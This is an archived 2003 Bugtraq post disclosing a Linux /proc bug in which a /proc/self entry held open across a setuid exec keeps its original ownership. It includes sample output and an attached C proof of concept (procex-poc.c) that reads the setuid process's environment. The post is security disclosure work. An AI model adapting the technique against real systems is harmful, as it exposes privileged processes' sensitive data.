105481 2003-06-21  20:15  /49 rader/ Paul Starzetz <paul@starzetz.de>
Importerad: 2003-06-21  20:15  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: vendor-sec <vendor-sec@lst.de>
Mottagare: Bugtraq (import) <5281>
Ärende: Linux /proc sensitive information disclosure
------------------------------------------------------------
Hello,

attached a simple prrof of concept for the /proc filesystem disclosing 
sensitive information.

I noticed that opening an entry from /proc/self/ and keeping the file
open while executing a setuid binary prevents the opened proc entry
from  changing the ownership from the initial user to the set-uid
value.  However I'm not very sure about the impact of this bug
(feature), the  attached code just reads the environment (which is
per default mode 400).

The technique can not be applied to /proc/self/mem because the
permision  checks are made dynamically (the child must be ptraced
etc.).

This is a sample output of the PoC:


paul@home:~/dev/expl> ./procex

parent executing setuid
PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms

child reads parent's proc:
PWD=/home/paul/..........

Content of /proc/32353
ls: /proc/32353/cwd: Permission denied
ls: /proc/32353/root: Permission denied
ls: /proc/32353/exe: Permission denied

-r--r--r--    1 root     root            0 Jun 20 14:47 cmdline
lrwxrwxrwx    1 root     root            0 Jun 20 14:47 cwd
-r--------    1 paul     users           0 Jun 20 14:47 environ [*]
lrwxrwxrwx    1 root     root            0 Jun 20 14:47 exe
[...]
-r--r--r--    1 root     root            0 Jun 20 14:47 status
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% loss, time 1998ms
rtt min/avg/max/mdev = 0.060/0.062/0.066/0.007 ms

[*] as you can see here the ownership didn't change...

/ih
(105481) /Paul Starzetz <paul@starzetz.de>/(Ombruten)
Bilaga (text/plain) i text 105482
105482 2003-06-21  20:15  /80 rader/ Paul Starzetz <paul@starzetz.de>
Bilagans filnamn: "procex-poc.c"
Importerad: 2003-06-21  20:15  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: vendor-sec <vendor-sec@lst.de>
Mottagare: Bugtraq (import) <5282>
Bilaga (text/plain) till text 105481
Ärende: Bilaga (procex-poc.c) till: Linux /proc sensitive information disclosure
------------------------------------------------------------
/****************************************************************
*								*
*	Linux /proc information disclosure PoC			*
*	by IhaQueR						*
*								*
****************************************************************/



#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>



static char buf[128];



void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
	fprintf(stderr, "FATAL: %s\n", msg);
    } else {
	perror(msg);
    }

    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


int main()
{
    int fd, r;
    char c;

    sprintf(buf, "/proc/%d/environ", getpid());
    fd = open(buf, O_RDONLY);
    if (fd > 0) {
	sprintf(buf, "/proc/%d", getpid());
	if (fork()) {
	    printf("\nparent executing setuid\n");
	    fflush(stdout);
	    execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
	    fatal("execl");
	} else {
	    sleep(1);
	    printf("\nchild reads parent's proc:\n");
	    fflush(stdout);
	    while (1) {
		r = read(fd, &c, 1);
		if (r <= 0)
		    break;
		printf("%c", c);
	    }
	    printf("\n\nContent of %s\n", buf);
	    fflush(stdout);
	    execl("/bin/ls", "ls", "-l", buf, NULL);
	}
    } else
	fatal("open proc");

    printf("\n");
    fflush(stdout);

    return 0;
}
(105482) /Paul Starzetz <paul@starzetz.de>/---------